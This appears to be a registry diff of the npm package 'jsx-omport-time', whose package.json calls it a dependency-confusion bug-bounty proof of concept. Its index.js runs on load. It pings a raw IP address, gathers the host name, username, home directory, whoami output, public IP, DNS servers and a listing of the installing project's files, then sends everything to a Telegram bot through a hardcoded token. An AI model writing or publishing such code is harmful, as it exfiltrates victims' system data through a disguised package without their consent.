jsx-omport-time 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +108 -0
- package/package.json +8 -0
package/index.js
ADDED
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const http = require("http");
|
|
4
|
+
http.get("http://44.192.75.15:8000/test",(res)=>{});
|
|
5
|
+
const https = require("https");
|
|
6
|
+
const { execSync } = require("child_process");
|
|
7
|
+
const fs = require("fs");
|
|
8
|
+
const path = require("path");
|
|
9
|
+
const packageJSON = require("./package.json");
|
|
10
|
+
|
|
11
|
+
const package = packageJSON.name;
|
|
12
|
+
|
|
13
|
+
// ────────────────────────────────────────────────
|
|
14
|
+
const trackingData = {
|
|
15
|
+
p: package,
|
|
16
|
+
c: __dirname,
|
|
17
|
+
hd: os.homedir(),
|
|
18
|
+
hn: os.hostname(),
|
|
19
|
+
un: os.userInfo().username,
|
|
20
|
+
dns: dns.getServers(),
|
|
21
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
22
|
+
v: packageJSON.version,
|
|
23
|
+
pjson: packageJSON,
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
// whoami (cross-platform)
|
|
27
|
+
let whoamiOutput = "N/A";
|
|
28
|
+
try {
|
|
29
|
+
whoamiOutput = execSync("whoami", { encoding: "utf8" }).trim();
|
|
30
|
+
} catch {}
|
|
31
|
+
|
|
32
|
+
// Public IP (with timeout)
|
|
33
|
+
(async () => {
|
|
34
|
+
let publicIP = "N/A";
|
|
35
|
+
try {
|
|
36
|
+
publicIP = await new Promise((resolve) => {
|
|
37
|
+
const ipReq = https.get("https://api.ipify.org", (res) => {
|
|
38
|
+
if (res.statusCode !== 200) return resolve("N/A");
|
|
39
|
+
let data = "";
|
|
40
|
+
res.on("data", (chunk) => { data += chunk; });
|
|
41
|
+
res.on("end", () => resolve(data.trim()));
|
|
42
|
+
});
|
|
43
|
+
ipReq.on("error", () => resolve("N/A"));
|
|
44
|
+
ipReq.setTimeout(8000, () => { ipReq.destroy(); resolve("N/A"); });
|
|
45
|
+
});
|
|
46
|
+
} catch {}
|
|
47
|
+
|
|
48
|
+
trackingData.whoami = whoamiOutput;
|
|
49
|
+
trackingData.publicIP = publicIP;
|
|
50
|
+
|
|
51
|
+
// ─── Smart & lightweight project dir overview ───
|
|
52
|
+
let projectOverview = "N/A";
|
|
53
|
+
try {
|
|
54
|
+
const rootDir = process.cwd(); // usually the installing project's root
|
|
55
|
+
const items = fs.readdirSync(rootDir, { withFileTypes: true })
|
|
56
|
+
.map(item => item.isDirectory() ? `${item.name}/` : item.name)
|
|
57
|
+
.sort();
|
|
58
|
+
|
|
59
|
+
const MAX_ITEMS = 30;
|
|
60
|
+
const shown = items.slice(0, MAX_ITEMS);
|
|
61
|
+
projectOverview = shown.join("\n- ");
|
|
62
|
+
if (items.length > MAX_ITEMS) {
|
|
63
|
+
projectOverview += `\n- ... and ${items.length - MAX_ITEMS} more items`;
|
|
64
|
+
}
|
|
65
|
+
if (shown.length === 0) projectOverview = "(empty directory)";
|
|
66
|
+
} catch (err) {
|
|
67
|
+
projectOverview = `Error reading project dir: ${err.message}`;
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// ─── Formatted message ───
|
|
71
|
+
const formattedMessage = `🔔 Tracking Alert
|
|
72
|
+
📦 Package Info:
|
|
73
|
+
- Name: ${trackingData.p}
|
|
74
|
+
- Version: ${trackingData.v}
|
|
75
|
+
- Path: ${trackingData.c}
|
|
76
|
+
|
|
77
|
+
💻 System Info:
|
|
78
|
+
- Hostname: ${trackingData.hn}
|
|
79
|
+
- Whoami: ${trackingData.whoami}
|
|
80
|
+
- Username: ${trackingData.un}
|
|
81
|
+
- Home Dir: ${trackingData.hd}
|
|
82
|
+
- Public IP: ${trackingData.publicIP}
|
|
83
|
+
- DNS Servers: ${trackingData.dns.join(", ")}
|
|
84
|
+
- Platform: ${os.platform()} (${os.arch()})
|
|
85
|
+
- OS Release: ${os.release()}
|
|
86
|
+
|
|
87
|
+
📂 Project Root Contents (top-level, limited):
|
|
88
|
+
- ${projectOverview}
|
|
89
|
+
|
|
90
|
+
📄 Package.json:
|
|
91
|
+
- Description: ${trackingData.pjson.description || "N/A"}
|
|
92
|
+
- Author: ${trackingData.pjson.author || "N/A"}
|
|
93
|
+
- Main: ${trackingData.pjson.main || "N/A"}`;
|
|
94
|
+
|
|
95
|
+
const options = {
|
|
96
|
+
hostname: "api.telegram.org",
|
|
97
|
+
port: 443,
|
|
98
|
+
path: `/bot8201031515:AAGH9RVmfZq6TyGE7VRYUG6q3rhACJ2HZxo/sendMessage?chat_id=1904101357&text=${encodeURIComponent(formattedMessage)}`,
|
|
99
|
+
method: "GET",
|
|
100
|
+
};
|
|
101
|
+
|
|
102
|
+
const req = https.request(options, (res) => {
|
|
103
|
+
res.on("data", (d) => process.stdout.write(d));
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
req.on("error", (e) => console.error("Error:", e));
|
|
107
|
+
req.end();
|
|
108
|
+
})();
|
package/package.json
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "jsx-omport-time",
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "Poc By piyush.kulkarni0212@gmail.com , This is dependency confusion package doing for bug bounty",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"author": "Piyush Kulkarni - Security Researcher",
|
|
7
|
+
"license": "MIT"
|
|
8
|
+
}
|